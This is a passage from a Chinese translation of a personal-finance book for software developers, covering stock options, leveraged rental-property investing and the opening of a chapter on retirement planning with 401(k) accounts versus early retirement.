期权：所有乐趣之所在\n在很长一段时间里，我都认为股市就是买卖股票的地方。我并不了解最理智的投资者所做的不只是低买高卖。我发现，这么想的不止我一个。与我交流过的大部分人都不了解什么是期权，不知道如何利用这一投资工具的杠杆作用极大地增加自己在股市的潜在收益（当然，也可能有损失）。\n事实证明，大多数股市投资者懒得去了解期权是如何运作的，因为他们要么认为这事太复杂，要么觉得这太费时间。尽管期权确实不是那么通俗易懂的事儿，但是作为一名软件开发人员，你可能会发现它们比你最初想象的容易理解得多。\n在本章中，我会带你快速了解期权的相关知识。我不会给你用这些投资工具进行投资的策略，但我会尽量让你全面理解期权是如何运作的。如果你之前对期权一无所知，我想你会发现本章的内容非常引人入胜。这种交易的整个世界就在你鼻子底下，但你却可能从未发觉到它的存在。\n期权的基础知识\n顾名思义，期权就是选择做什么或者不做什么。期权背后的基本思想就是允许某人为在未来的某个日期买入或卖出股票的权利付费。[1]\n地雷：为什么要关注期权\n主要有以下几个原因。首先，作为软件开发人员，你有能力比大多数人更好地理解期权。期权和期权理论都是基于数学的，计算和交易期权的方式全部是算法。但是，与许多软件开发人员交流之后我发现，他们中大多数人并不真正了解期权。因此，本章的目的就是让你快速了解什么是期权，然后你就可以决定自己是否要进一步了解和学习这一领域的相关知识。\n此外，了解期权是如何运作的也有助于提升你的财商。即使你从不没交易过股票，也没有签过期权合约，对这些东西的运作规律有一个很好的了解将有助于改进你平常做财务决策的策略。你会发现本章让你思路打开，改变你开始考虑资本负债和风险的方法——这是定义期权特征的两个关键。\n最后，在了解了期权之后，你会发现，期权充满乐趣。作为一名软件开发人员，我发现研究期权及其运作方法非常有趣，我强烈认为你也会这么看。但是，如果你不乐在其中，也不用担心，本章的篇幅相当短，如果你愿意，也可以跳过。\n让我们深入了解一下期权究竟是如何运作的。假设你认为微软几个月后发布的新操作系统会让他们的股价大涨，所以打算投资微软。你想买上几千股微软股票，但是有两个问题。首先，你没有足够的资金购买那么多的微软股票；其次，你觉得如果微软新发布的版本不太好的话，股票也有可能会大跌。\n如果你只是想要买股票，那么你就得拿出一大笔钱；如果判断失误，代价会很高昂。但是，如果你认识持有微软股票的人，并且他同意在几个月后微软新系统发布的时候将股票以比现在略高的价格转手给你，又会怎么样呢？这正是期权可以做到的。\n听起来完美得不像真的？不过，期权就是这样的。要想获得期权，你就得花钱。你可以购买在未来购买微软股票的选择权，但是为了购得这项权利，你必须要支付一定数额的权利金。如果交易得以继续进行，你就购得了在未来3个月内的任何时间购买300股微软股票的权利。将来当微软股价高于你买入期权时的价格你就可以以当初约定的价格（也称为“履约价格”）购买股票，并从中赚取巨额利润。\n如果事实正好相反，即微软股价没有大涨超过你的履约价格，甚至还大跌了，这时你可以选择不行使期权，也即不购买股票。在这种情况下，你只是损失了自己买入期权时所付出的权利金。[2]\n以微软股票为例说明股票交易\n深入了解期权\n期权从根本上说就是赋予你在未来某个日期之前以固定价格购买一定数量股票的选择权。但你也可以购买另一种让自己在未来某个日期之前以固定价格出售一定数量股票的选择权。这种期权能让你在股价下跌的时候也赚钱，与附录B中讨论的卖空股票类似。\n允许在未来一段时间内以固定价格购买股票的期权被称为“看涨期权”，允许在未来一段时间内以固定价格出售股票的期权被称为“看跌期权”。\n期权不仅能让你根据股票走势进行投机，而且还具备金融杠杆作用。试想一下，股市中你最喜欢的公司T-Mart的交易价格是每股100美元。如果你有1000美元要投，那可以购买10股T-Mart股票。如果T-Mart的股价涨到200美元，你会非常开心，因为你的投资收益翻倍，变成了2 000美元。\n现在，假设同样拥有1000美元，并且还将投资T-Mart，但是使用了看涨期权。合约中规定每份期权的规模是100股。你每购买一份期权，就相当于拥有未来能够买入100股T-Mart股票的权利。假设你想购买的T-Mart的期权是能够在3个月内以每股110美元的价格购买T-Mart的股票，那么这份期权合约的权利金可能就是每股10美元。于是你花10美元/股×100股，即1000美元，购买了在接下来的3个月内以每股110美元的价格购买100股T-Mart的股票的选择权。\n股票交易的过程\n同样是1000美元，之前你只能买到10股T-Mart的股票，而现在你能买到未来可以以比当前100美元的交易价高10美元的价格购买100股T-Mart的股票的选择权。如果T-Mart的股票在接下来的3个月内涨到每股200美元，那么你赚的不是1000美元而是更多。让我们来精确地计算一下实际能赚多少。\n如果你能行使期权，以每股110美元的价格购买100股T-Mart的股票，最终花费是110美元/股×100股 = 11 000美元。然后你以每股200美元的价格出售这些股票，那么所得会是200美元/股×100股 = 20 000美元。如果减去购买股票的11 000万美元和买入期权的1 000美元，你最后的收益是20 000–11 000–1 000 = 8 000美元。\n买入期权的过程\n这个例子有一点牵强。事情并不会总按你的意愿发展。如果在接下来的3个月内T-Mart的股价涨不到110美元，你最终会损失掉买入期权的1000美元，但这就是杠杆的作用。期权的杠杆作用会让你快速地赚很多钱，也可能更快速地亏掉更多钱。\n卖出期权\n现在你可能已经弄清楚买入期权是非常投机和冒险的举动。如果事情不能按你的计划发展，你最后会快速损失一大笔钱。但是，还有另一方面，期权也可以让你在很多情景下赚到更多钱——只是没那么多罢了。\n除了买入期权，你还可以卖出期权。从技术上讲这叫“沽出期权”（writing an option），因为你创建了一份期权合约以供他人可以买入。在你沽出期权的时候，你其实是在赌盘的另一边下注。你不是赌股价涨跌，而是赌股价要么停在目前的水平，要么走向期权的反方向。\n当你沽出期权的时候，形势就完全不一样了。沽出期权的时候，你就变成了必须以某个价格买入或者卖出股票的义务方。好消息是，你可以收取另一方的权利金。\n当然，沽出期权也是有风险的。事实上，沽出期权的风险比买入期权的风险更高，因为刚开始并不知道你的成本是多少。买入期权的时候，付出的是一个固定的价格，你的风险就是损失掉这笔钱的全部金额。而沽出期权的时候，如果市场走向与你的预期严重背道而驰，你的损失可能会极高。\n幸运的是，大多数被沽出的期权都是所谓“备兑期权”。这就意味着，期权合约是由一些真实的股票或者其他期权作为支撑的，从而限制期权卖方的潜在损失。\n在现实情况中，你可能会把自己已经持有的一些股票作为期权作价沽出。我们假设你已经持有100股T-Mart股票，而且你判定它不大可能有涨跌，但又想通过你持有的这部分股票赚点钱。于是你决定沽出接下来的3个月内以100美元/股的价格出售这些股票的期权。T-Mart目前的股价是100美元/股，所以只要T-Mart的股价不会涨到高于110美元/股，这对你来说就是一笔好买卖，而买你期权的人可能会在3个月到期后放弃行权。\n你可以收取期权的权利金。通过卖出期权，你每股能赚10美元。如果你沽出的单份合约的标的物是100股T-Mart的股票，那么当你卖出你的期权合约时，你马上就能获得10美元/股×100股=1 000美元的收益。不管发生什么情况，你都会得到这1 000美元。但是，如果T-Mart的股价高于110美元（只要期权的购买者选择行权），你也必须以110美元的价格将股票卖给他。\n更复杂的期权\n期权的复杂程度可能远远不止买入期权、卖出期权和沽出期权。期权可以跟期权组合在一起，期权可以跟股票交易组合在一起，形成各种复杂的交易头寸。\n我们不可能在这短短的一章中描述清楚各种复杂的期货策略的所有细节，但是我想让你对一些可能的策略有一个基本概念。如何将这些工具组合起来创建出你想要的任何类型的交易头寸，非常令人着迷。\n首先，让我们了解一下期权的一种简单用途——备兑看涨期权。备兑看涨期权就是你在购买一些股票的同时又卖出该股票的看涨期权。为什么要这么做？好吧，如果你正在购买打算长期持有的股票（也许你想得到分红），你可能卖出这支股票的看涨期权，通过持有这一股票而赚钱。\n如果你不指望自己购买的股票快速上涨，并且甘愿冒着错过股市上由担保收入所得大幅增长的风险，你就可以使用这一策略。你实际上是以自己的部分潜在收益来换取更低的风险。\n另一种策略是所谓“配对看跌期权”。你在购买股票的时候，同时购买了该股票的看跌期权，即发生了配对看跌期权。这一策略会让你享受股票上涨带来了全部收益，如果股票下跌，也会帮你减轻潜在损失（因为你拥有以一定的保证价格出售该股票的选择权）。如果你对自己购买的股票没信心，觉得它会涨也可能会跌，那就可以采用这一策略。\n期权也可以与不同类型的“期权价差”想结合，因为看涨。你可以把不同类型、不同交割日期的期权组合起来，创建出许多不同类型、不同风险级别和潜在收益的交易头寸。\n我最喜欢的期权价差被称为“铁鹰式套利”（iron condor）。在这一策略中，你同时卖出股票或交易基金（ETF）的两侧期权，然后再以差距较大的价格买入期权。你通过卖出期权赚到一笔钱，再拿一部分钱通过买入期权为自己购买保障，如果股票价格涨得过高或者跌得过低，这样能控制你的损失。如果股市或者ETF保持在一定数值范围内，你就能收到所有的权利金。如果能创建出一种表现良好的“铁鹰式套利”，赚到钱的机会就非常高。当然，如果判断失误，代价也非常高。（如果你对铁鹰式套利感兴趣，推荐阅读由Michael Benklifa撰写的Profiting with Iron Condor Options: Strategies from the Frontline for Trading in Up or Down Markets [FT，2011]。）\n采取行动\n在你熟悉的股票中找一找，看看你是否能找出它的所谓的“期权链”。在大多数股票报价网站上都能找到。\n了解一下该期权链，计算一下购买在未来一个月内某支股票的期权的成本是多少。请注意：期权的价格会根据履约价格不同而变化。\n[1] 国内首只期权——上证50ETF期权已于2015年2月9日在上海证券交易所上市。——译者注\n[2] 在本章中，作者解释的都是美式期权的运作方式。按期权的交割时间划分，有美式期权和欧式期权两种类型。美式期权是指在期权合约规定的有效期内任何时候都可以行使权利。欧式期权是指在期权合约规定的到期日方可行使权利，期权的买方在合约到期日之前不能行使权利，过了期限，合约则自动作废。以上内容摘自《百度百科》。——译者注\n第52章 房地产投资面面观\n在所有个人可以做的投资中，我认为房地产投资是目前为止最好的。再没有其他投资方式像房地产一样能够保障长期收益，能够允许如此高的资本负债。但是，这并不意味着房地产投资很容易。房地产投资可不像做股票交易，只需动动手指敲几下键盘就可以搞定。房地产投资需要庞大的资金；鉴于软件开发人员的收入比其他行业要高，我认为软件开发人员很适合进行房地产投资。\n我承认，对于房地产投资有所偏爱，因为房地产投资是我的主要投资选择，也是这么多年以来我最赚钱的投资方式。但是，无论是否决定投资房地产，你都应该对其运作方式以及会给你带来什么样的机会有充分的了解。\n不幸的是，如果你在网上搜索“如何投资房地产”或者其他类似主题，你可能立刻陷入各种承诺快速致富、毫无可信度的信息的狂轰滥炸之中。本章的目的就是去伪存真，针对房地产投资的运作原理和起步方法，提供一些真实、实用的建议。\n你可能又会问我为什么要把有关房地产投资的内容作为一章包含在本书中？好吧，在我的职业生涯中，我遇到了许多软件业同仁提出的关于如何进行房地产投资方面的问题。通常，软件开发人员的薪酬比其他行业的从业人员高出一大截，所以他们可以通过学习如何投资房地产获得收益。所以我觉得，如果我不把有关房地产投资的话题纳入本书，向你介绍相关的基础知识，那才是对你的伤害。\n显然，在短短一章中我不可能深入探讨这一话题。但是我可以介绍相关要点。如果你计划投资房地产，如果你选择做房地产投资的话，可以借助这些要点来深入探究这一话题。\n为什么要投资房地产\n在讨论如何投资房地产之前，让我们先回答一个最重要的问题：为什么要投资房地产？与持有股票相比，房地产投资上手更难、所需资金更多，那为什么它还是优质投资？\n可能听起来有些莽撞，但我建议投资房地产的最大原因就是稳定性。毫无疑问，你看过房地产价格大幅波动，所以会对此说法表示怀疑，让我对此进行解释。\n尽管房地产价格可能会大幅波动，但是我建议投资的是可租赁房产。这种房产的稳定的收入就是——租金。\n因为租金价格不会有明显波动，所以优质的房地产会一直就是优质的房地产。只要你能确保自己的房产贷款采用固定利率，这处房产能给你带来的收入就是非常稳定的。即使租金有变化，通常也是上涨而不是下跌。\n因此，即使物业本身的总价会大幅涨跌，但是，只要你愿意经受波动并且长期持有，瞄准租金收入而不是房产价格上升，这笔投资就是非常坚实而稳健的。我自己就经历了几次史上最严重的房地产危机而毫发无损。\n房地产投资还是低风险、高负债的投资类型。你不可能找到一家银行愿意为你提供长期贷款去购买股票，但是在房地产业，你只首付10%而银行提供90%的贷款，这样的事情司空见惯。你甚至可以在零首付的情况下获得贷款——但是这通常并不是一个好主意。\n这种资本负债的作用是非常强大的。它可能有一点儿风险，但是当以房产作为抵押物取得贷款的时候，银行承担的风险要比你的还大。接下来我们通过一个例子，看看这个杠杆效应的威力。\n假设你购买了一处价值10万美元的租赁房产，其中你承担首付10%，剩下90%由银行提供贷款。你选中的这处房产属于我们所说的“以租养贷”，意思是说所有费用，包括抵押贷款、税费和保险，都由它产生的租金收入来提供保障。在这种情况下，我们假设租金能够支付全部费用，不会有多余的现金流，或现金流很少。\n如果刚好是这种情况那就太好了。如果你用这一房产获得了30年的贷款，30年后，你最初投入的1万美元至少增值到10万美元，如果考虑房价上涨，可能会更高。你的贷款从根本上说是由你的租户偿还，你却可以免费得到一处房产。我觉得这笔交易很划算。\n但是还可以更好。这笔投资的杠杆作用可以让你从房价上涨中获得更高的收益。房价在两年内上涨10%并非不切实际。我们假设你持有的房产在两年内升值10%，达到11万美元。这时你的投资回报率是多少？\n我想很多人会说回报率是10%，但是这就大错特错了。如果你此时出售此物业，你会得到11万美元。我们假设你还有很多没有偿还，比方说9万美元的贷款没有偿还，扣除掉这部分，还剩下2万美元。也就是说，你最初投资的1万美元变成了2万美元，也就是说，投资回报率是100%，即每年50%。你听过有谁在股市里获得过这么高的回报吗？\n杠杆作用能让你在房价小幅升值的时候就获得高额回报，而且风险还不大。又因为贷款的抵押物是物业，所以从技术上讲你最大的损失不过是初始投资。（尽管存在不足额判决，但如果你愿意持有房产，就可忽略不计。）\n最后，让我们再讨论通货膨胀。我们前面提到过，如果遇到通货膨胀，你的债务的价值会降低，同时你的银行存款的价值也会降低。房地产投资是对抗通货膨胀的最佳对冲手段之一。\n如果你经历一个高通货膨胀期，但是你保有房地产贷款，尽管银行存款贬值，但是随着房屋价格和租金的上涨，你的房产贷款是减少的。这意味着什么呢？\n好吧，让我们还以你买的那栋10万美元的房子为例。在这种情况下，我们假设每个月的租金是1 000美元，你的抵押贷款加税费和保险等其他费用刚好每个月是1 000美元，两项冲抵，你实现了“以租养贷”。但是通胀来临，吞噬了你的存款，缩减了你的收入，但同时也引发租金上涨。你可能可以每个月收取1 200美元的租金，而你的抵押贷款及其他费用固定费用仍维持在每月1 000美元。现在你的现金流为+200美元，能够弥补由于通货膨胀给你带来的负面影响。\n房价也受通货膨胀影响而上涨。考虑到美元贬值，这种上涨不是真正的升值，它只是作为一种对冲工具。由于房价以美元计算，美元走势越弱，房产的价值也就越高。\n总之，为什么房地产是很好的投资呢？如果你购买的房产用于出租，并且每个月按固定贷款利率还款，那你从这一房产中的收入就会非常稳定；你可以利用银行的钱支付购买房产所需的大部分费用，从而让自己利用资本负债获得高额回报；如果遇上通货膨胀，你的房产投资可将资本负债作为对冲工具从中受益。\n我该怎么做呢\n现在，希望你已经对房地产投资的前景很满意了。不过鉴于我许诺了这么多好处却没有告诉你该怎么做，你可能会有点儿不太笃定。在这么短的篇幅内，我不能给你一步步的指导，但是我可以给你足够丰富的信息，帮你了解房地产投资的运作过程，学习如何上手。\n聪明的房地产投资（不是投机）始于认识到房地产投资是一项长期投资。如果你相信自己可以通过倒卖房产或者低价购买抵押房产而快速致富，那你终究会自食恶果。\n世上没有免费的午餐。要想从房地产投资中获得巨额回报，需要投入耐心、勤勉和大量时间。我在投资房产时，已经做好20～30年后才盈利的打算。我清楚地知道，购买租赁房产会给我带来正向的现金流；我还知道，使用固定利率以租养贷，结果再差，30年后我也会得到一处还清贷款的房产。这就是我相信并期待的结果，其他的一切都是额外的收获。\n所以，常用的投资策略，至少是我推荐的策略，就是：购买一处租赁房产。这套房产要么是正向的现金流，要么用30年期固定利率贷款以租养贷。这一策略风险极低，但是上升空间巨大；即使赶上房地产行情大热，价格火箭般飞涨，也能保证你30年后获得贷款全清的房产。\n第一步：学习\n要执行这一战略，第一步就是房地产市场的学习。在房地产投资领域，购入房产的时候最赚钱，而非出售房产的时候。你能找到的交易越好，你的起点就会更好。还记得我们曾经讲过股市的流动性很强吗？房地产市场与之相反。流动性强的市场通常效率很高，这就意味着，股票市场的定价很悬殊的场景并不多。\n因为房地产市场的流动性不强，价格差距往往很悬殊。无论什么时候问及某只股票的股价，每个人都能在几秒内知道，并且毫无争议。你可以说某支股票被高估或者低估，但是它的成交价格（quoted price）反映了它的真正价值。\n房地产市场并非如此。一幢房子的价格是多少？谁知道呢？同一个物业，10位估价师会有10个不同的估价。有时候，如果缺少市场数据和同类待售房产，对房价的估算可能会差异巨大。\n这对你意味着什么呢？这意味着，如果你聪明又勤奋，就能够以大幅折扣购买房地产。你只需要能够识别出优质交易，并掌握如何达成一笔好的交易。\n要想掌握如何识别优质交易，你需要两样东西：实践和市场研究。如果你想投资房地产，你首先应该做的就是研究市场，了解房产都以什么价格销售。看一下这些物业的面积有多少平方米，它们的租金是多少，它们都位于哪个区域，以及其他你能了解到的因素，这样你才能对任何一处物业到底应该价格几何有些体会。\n在做这些事情的同时，你还要演练模拟场景。如果你决定以给定的价格购买一处房产会发生什么？你该如何出价才能以好的价格购得这处房产？\n要做到这一点，你要计算所有与房产相关的数字。你要根据房价估算出抵押贷款的成本，以及包括税费、保险、业主会费、水电费、物业维修费等在内的其他开支。\n这种演练略显枯燥，但这是让你对什么才是好交易以及这种交易如何操作有感觉的最好的办法。在你坐下来签大额支票之前，你需要对自己所做的充满信心。我的房地产投资策略是基于迅速行动的。\n采取行动\n一旦对房地产市场有了不错的感觉，就该采取行动了。当我准备购买房产的时候，我会与房地产中介签约，一旦有符合我的条件的新房产，就给我发送消息。如果我看到某处物业是一笔好交易，或者觉得某处物业可以报一个足够低的价使其成为一笔好交易，我就会立刻行动。\n我经常在没有现场看房的情况下给卖家发报价，快速测试卖家的反应，以确保自己抢在别人之前抓住一笔好交易。我几乎总是开出一个极低的报价，低到让我的房地产中介都不好意思向对方提出。有时候，卖家会接受这个报价，或者他们会还一个比我这个报价略高一点点的价格。\n这并不是说我的大部分报价没有被拒绝，实际上它们都被拒绝了。但这只是一个数字游戏。给房产开出50个超低报价，只要有一位卖家接受即可。你可能可以给某处房产开出低于市价50%报价——也许卖家正急于脱手或者不关心价格。你可能难以相信，有很多卖家因为种种原因就是不关心价格。\n我在没有看房就给出报价的时候，会加上一个补充条款，阐明我的报价会根据我对房产的实地考察结果而定。这让我能够有机会反悔，通过实地考察来验证房产广告上的信息，确保没有什么被掩盖的缺点。如果这处房产不合我心意，我可以随时退出交易，无需承担任何不良后果。\n假如这房子看起来不错，而且你也签署了房地产合同，下一步就是上门验房。我总是请我能找到的最好、最细心的验房师验房。如果房产有问题，我希望能在投入更多资金之前就有所了解。\n如果验房没有任何问题，下一步就是申请获取贷款。你甚至可以在寻找合适的物业之前就开始操作这一步，即资格预审。就像你为了给一处房产找到最好的交易价格，你也应该设法找到最优惠的贷款方案。我不打算在本章详述获得贷款的细节，但是我建议你一定要货比三家，比较各家贷款机构的价格和利率。\n利用物业托管\n最后，在你购买了房产之后，我的建议是物业管理要到位。我强烈反对自己管理租赁房产。在我看来，在这方面不值得投入精力，并且让人头疼。每个月我花的最值钱的钱就是请物业管理公司打理我的租赁房产。\n好的物业管理公司将会管理与物业出租有关的一切事务，包括寻找租户、确定租约、筛选租户、维修保养以及收取房租等。但是找到一家好的物业管理公司是很困难的。你要货比三家，找最诚信的物业管理公司。我因为能力不足、维修费用造假和玩忽职守等问题，至少解雇了三家物业管理公司。\n考虑到租金收入的10%要付给物业管理公司，你在签订物业托管协议时要确保自己将这部分算到了租金里。好的物业管理公司能让你放手去搞房地产投资。随着时间的推移，如果你想在持有多处房产的同时还从事全职工作，一家可靠的物业管理公司必不可少。\n采取行动\n今天就走出去购买租赁房产。祝你好运！\n开个玩笑而已。恰恰相反，找出本地的一份你所在区域里可供出租用的房产清单，通过计算所有数字进行演练。试着算出各种情况下的支付金额，看看是否有可能购买此处房产，你要确保你的现金流是正向的，或者至少是收支平衡。\n第53章 你真的了解自己的退休计划吗\n慵懒地躺在沙滩上，捧一本书，酌一口冰镇朗姆酒，任海浪拍打在脚面上……这就是我们很多人畅想的退休生活。但是，我惊讶地发现许多人以为这样的场景理所当然，并假设这样的场景一定是在60岁以后发生。\n事实是，在热带海滩上度过退休生活并非理所当然，也不只是60岁以上人群的专利。（事实上，在第55章我会告诉你，我是如何做到在33岁的时候就能实际退休的。）事实上，如果你希望乐享退休生活，你必须开始为此做一些计划，并且从现在就开始计划。\n遗憾的是，大多数我看到的关于退休的建议都是完全错误的。我总会听到各种顾问告诉人们把钱存在退休金账户里，然后忘掉它。尽管这对大多数人而言是一项不错的建议，但是我猜想，作为一名软件开发人员，特别是作为本书的读者，你可以做得更尽善尽美。\n在本章中，我会试图改变你对退休生活的思考方式。虽然我的大部分建议会是以美国社会为中心展开的，因为美国有灵活的退休账户，如401(k)和IRA（个人退休账户），但是我给出的处理这些账户的思维方式和策略也适用于任何类型的退休计划，即使你依靠公司提供的养老金，像世界上其他许多地方一样。\n退休计划就是利用逆向思维\n规划退休计划的关键就是利用逆向思维，精确计算每个月的生活费用，找出办法来确保自己的收入能满足这一要求，同时还留有余地，以备不时之需。\n我读过的许多与退休计划有关的书籍和文章都犯了一个大错误，它们都假设退休人士的财务需求与在职人士一样。我不会指责做出这些假设的理财顾问，但是会非常谨慎地对待这些人的建议。他们以告诉他人如何增加财富为业，但自己却并不富裕。\n事实是，当你拥有充裕的空闲时间的时候，当你再也不用储蓄、再也不用上下班的时候，有些开销会大幅减少。不仅如此，与让自己快乐的生活方式相比，我们大多数人的生活方式要铺张得多。\n这很容易让人掉入思维陷阱——因为不想在工作多年后还要做出牺牲，所以退休后不想降低自己的生活水准。同时，也不想在自己的晚年还精打细算。要有多少钱才够退休，最大的决定因素是你每个月的开销是多少。如果从现在起，你能缩减每个月的开支，不但不会令你在以后的生活中感觉到生活水准降低了，而且还会让你提早退休。\n你可以这么想：如果你目前每个月“需要”的生活开销是8 000美元，那么你认为你也需要这么多的退休收入，现在你每个月的收入必须维持在8 000美元以上才能为退休生活攒钱；等你退休后，这些积蓄会以每个月8 000美元的速度被消耗掉。\n但是，想象一下，如果你可以缩减开支呢。假设你能找到办法把每个月的开销缩减到4 000美元。在这种情况下，你不但能更快地攒维持退休生活所需要的钱，而且等你退休的时候这笔钱维持的时间也能翻倍，那么理论上讲，你也能提前很长时间退休。节约开支可以让你两头受益——在加速存钱的同时，也让存下来的钱能更经花。\n简而言之，为退休攒钱最有效的方法就是搞清楚如何缩减每个月的开支。不用投资、不用工作也不必祈求加薪，没有什么比勤俭持家更能让你获益良多。勤俭节约，才能细水长流。\n计算你的退休目标\n一旦算出自己退休以后每个月的生活开销是多少，当你的“被动收入”达到每月所需的生活开销的时候，你就可以正式退休了。所谓被动收入，就是不用工作就能获得的收入。你必须确保被动收入会随着通货膨胀而增加——这也是说房地产是一个很好的投资选择的主要原因。\n我不喜欢从积蓄中取钱的想法。没有理由让一个人为了退休就得把积蓄坐吃山空，更何况还有如此多的方法可以把积蓄转变为被动收入。最起码，你还可以购买债券，每个月还能有几个百分点的利息收入，并且几乎没有任何风险。\n你需要多少钱才能退休？这取决于你的开销、你用何种手段获取被动收入以及当前都有哪些投资机会，不过我会提供一个适用于本书写作年代的实际案例。\n假设你现在有100万美元。如果你想用这笔钱投资房地产，我碰巧知道这笔钱差不多可以买三幢四单元住宅楼，每幢楼的租金是每月2 400美元（这是一个保守估计）。当然，还需要为这一房产缴纳税费、保险、物业管理费以及其他费用，因此假设每个月每幢楼能带来1 800美元的收入（这也是一个非常保守的估计）。这意味着，现在这100万美元每个月能给你带来5 400美元的收入，即每年64 800美元。\n示例：在房地产投资100万美元如何为你赚钱\n现在，问题来了，5 400美元够你一个月的开销吗？如果够，你就可以说自己已经退休了，而且最棒的就是，房地产价格会随着通货膨胀而上涨。当然，上面的数字会随时变化。房地产价格会上涨，通货膨胀可能会让100万美元的购买力下降许多，而且还有其他一些不可预见的情况会发生，但是，在一般情况下，总会有一种投资方式会取得类似的预期回报。\n要想依靠一定资本带来的被动收入生活，首先要有资本。如果你没有100万美元，也就不可能靠100万美元生活。这是最棘手的部分。如果你生活在美国，有两种方案可选。\n方案1：401(k)、IRA或者其他退休账户\n要长期积累财富，首选也是最明显的方案就是向退休账户或者其他养老金计划定期缴款。在美国，大多数雇主会提供401(k)这一家喻户晓的退休金计划，你可以把自己税前工资的一部分存入该投资账户。有时，雇主甚至会为你提供与你缴存数额相当的钱（雇主匹配部分）。\n对于有此选项的大部分人来说，这是正确之选。以最高值来缴存401(k)至少能为你收入的很大一部分避税，同时你通过401(k)账户获得的收益也不会被扣税。\n因为我不打算描述得太具体，所以这里也不会列出确切的数字。不过，如果你能够在扣税前存上一部分收入，加上获取收益时所免掉的税，你就可以实现比其他方式高得多的回报。\n这个方案的唯一弊端是，你一旦决定采用这一方案，就必须等到60岁时才能退休。这里的策略就是，给退休账户存尽可能多的钱，这笔钱会不断增加，也会有复利。等你到退休年龄的时候，你可以取出这笔钱而无需支付任何额外费用。\n对于像401(k)这样的退休账户，如果在60岁之前提前支取，会被扣10%的罚金。这也是我建议你采取两种退休金方案的原因。如果你选择了像401(k)这种享受税惠政策的退休账户，就踏上了漫漫长路。你不能中途改变想法，否则要缴纳大笔罚金。而且因为你将自己的大部分收入存入退休账户，所以你就没有空间去做其他类型的投资了。\n但是，如果你正打算在60岁或60岁之后退休，我再怎么强调拥有享受税惠政策的退休账户的好处也不过分，特别是你还有雇主匹配的那一部分呢。如果你收入颇丰，而且你按照最高额度缴存，尽早采用这一方案，你在退休的时候情况就会相当不错。如果你对后面将要讲到的第二种方案不感兴趣，你应该马上就以最高额度来给自己的退休账户存款。\n地雷：如果你为自己工作又怎样？\n如果你为自己工作，你可能无权享受401(k)或者由雇主提供的退休金计划。但是在美国，你仍然可以设立享受税惠政策的退休账户。我不想离题太远，所以我不会在本书中介绍这类退休账户方案。你可以搜索关键词“IRAs”（个人退休账户）和“Roth IRA”（罗斯个人退休账户）了解更多信息。\n方案2：设置提前退休计划，或者以致富为目标\n尽管我知道大多数人都很满意在60岁退休，但我从来都不想等那么久。我一直希望能够提前退休、享受生活，即使这意味着年轻时要加倍努力工作，要承担更大的风险。这正是方案2要讲述的内容。\n在详细描述方案2之前，我们先来谈谈为什么这两种方案互相排斥。最大的原因就是：在你达到传统的退休年龄之前，退休账户里的钱是不能动的。这意味着，如果你计划在40岁退休，而通过缴存退休金而积攒的资金要到60岁的时候才能动用，因此这笔钱现在对你来说毫无用处。\n本质上，你把本可以通过做投资来实现提前退休的资金挪用去缴存退休金。当然，你也可以一边给退休账户存钱直到60岁，一边拿出一部分资金来做点别的投资（如投资房地产），但是如果你想双管齐下，很可能会两头都不理想。\n如果你想提前退休，或者想尝试真正发家致富，你应该不往退休账户存钱。我知道这一建议听起来有点儿疯狂，这就是我不断警告你的原因。同时这也是我说大多数人应该选择以最高额度往退休金账户缴费的原因——它是最保险的方式。但是，如果你像我一样，愿意为了在年轻时就退休这一更激进、风险更高的目标而努力，那么请继续往下读。\n要提前退休，你需要找出一种方法来构建超过你每月开支数额的被动收入来源，并且需要能够保证自己的收入能冲抵通货膨胀。你不能把100万美元都用来购买年收益率只有2%的美国国债，并且还乐此不疲。你也许能够每年以很低的风险或者毫无风险地赚到2万美元，不过通货膨胀最终会吞噬你的原始资本和利润。\n如果回到刚才的例子——拿100万美元投资租赁房产，每个月能带来5 400美元的收益。你会看到，因为能抵御通货膨胀，还能获得更高的投资回报，所以这类投资效果更好。\n唯一的问题是，要赚到100万美元用于投资房地产并不容易，并且房地产投资可不能放手不管。你可以掌握如何将投资都转变为被动收入的方法，但是这需要投入一些时间、精力并学习如何做到这一步。\n但是投资房地产并不是产生满足你退休所需的被动收入的唯一途径。你可以选择购买高收益率的股票，股票升值的时候足以对抗通胀。你也可以创立或者购买知识产权，获取版权收入。这可以是专利、音乐作品、书籍，甚至是电影剧本。你可以购买一家公司，或者创建自己的公司，最终将其转手给别人打理，而你只需要从剩余利润中分一杯羹。\n如你所想，所有这些产生被动收入的投资方法都伴随着巨大的风险，所以你一定要多管齐下。达成上述这些被动收入来源中的任何一个都是艰难的，所以如我所说，只有准备好付出成功所需的辛苦工作，才能选择这条路。\n那么，怎样才能获得100万美元或者更多资金呢？“空手套白狼”的机会很小，如果你放弃了传统的退休账户，尽管不再享有税收优惠，但也无须受时间限制，更容易积累一笔可观的资金。\n然后，事情就变得微妙起来。你不得不从自己能承受得起的小规模投资开始，随着时间的推移，不断增大你的投资规模。你不必一开始就花100万美元买下三幢四单元住宅楼。相反，开始的时候，你可以把积攒下来的1万美元作为10%的首付款，购买一处10万美元的房产。反复做这样的投资，最终你可以用其中的一到两处物业来进行更大规模的投资。\n你必须循序渐进，始终以增加被动收入为目标。从自己持有的资产中获利越多，在购买更多能产生收入的资产方面就越有进展。随着时间的推移，就像滚雪球一样，可以产生收入的资产越多，给你带来的收入就越多，也就能购买更多的资产。\n要加速这一进程，有三种主要方法。首先，我们已经谈过了，削减开支。买最小的房子或者租最小的公寓，或者免费跟你的父母住在一起，要通过各种手段做到这一点。买辆二手车，或者干脆过无车生活。切断有线电视，不要外出吃饭，买旧家具用。不只是节俭，关键还要便宜！你的生活开支越少，每个月能省下来用于投资的钱越多。（我跟你说过的，这并不容易。）\n其次，赚更多的钱。如果可以，搬到旧金山或者纽约这样的大城市，这些地方通常薪水更高。如果你很聪明，能在消费高的城市找到便宜生活的方法，这样你就能把薪水的差价收入囊中。这一差价是由于居住成本而导致的生活成本的增加。如果能开始一份兼职，或者做一些自由职业，那就动手做吧。你赚的钱越多，可用于投资的资本就越多。\n最后，做最有利可图的投资。这道理看起来很显而易见，但是投资的时候越谨慎，你获得的收益就会越高，资金增加的速度也就能越快。当然，这需要认真调研、掌握谈判技巧，以及找出好的交易。\n正如我所说，这并非一条容易走的路。大多数人没有这样的野心，我也不会责怪他们。在我追求早日退休的道路上，我睡过直接铺在地板上的床垫，也曾一周工作过70小时，还曾住在很小很小的房子里（并非买不起大房子），而且当时并没有任何成功的保障。\n如果我进退维谷或者接近退休年龄怎么办\n并非每个人都刚刚走出校园，能够明确地选择一条道路。或许你已经在自己的退休账户上投资很长时间，现在又考虑走另一条路——提前退休。或者或许因为拖家带口，你不能立刻动身搬去旧金山以获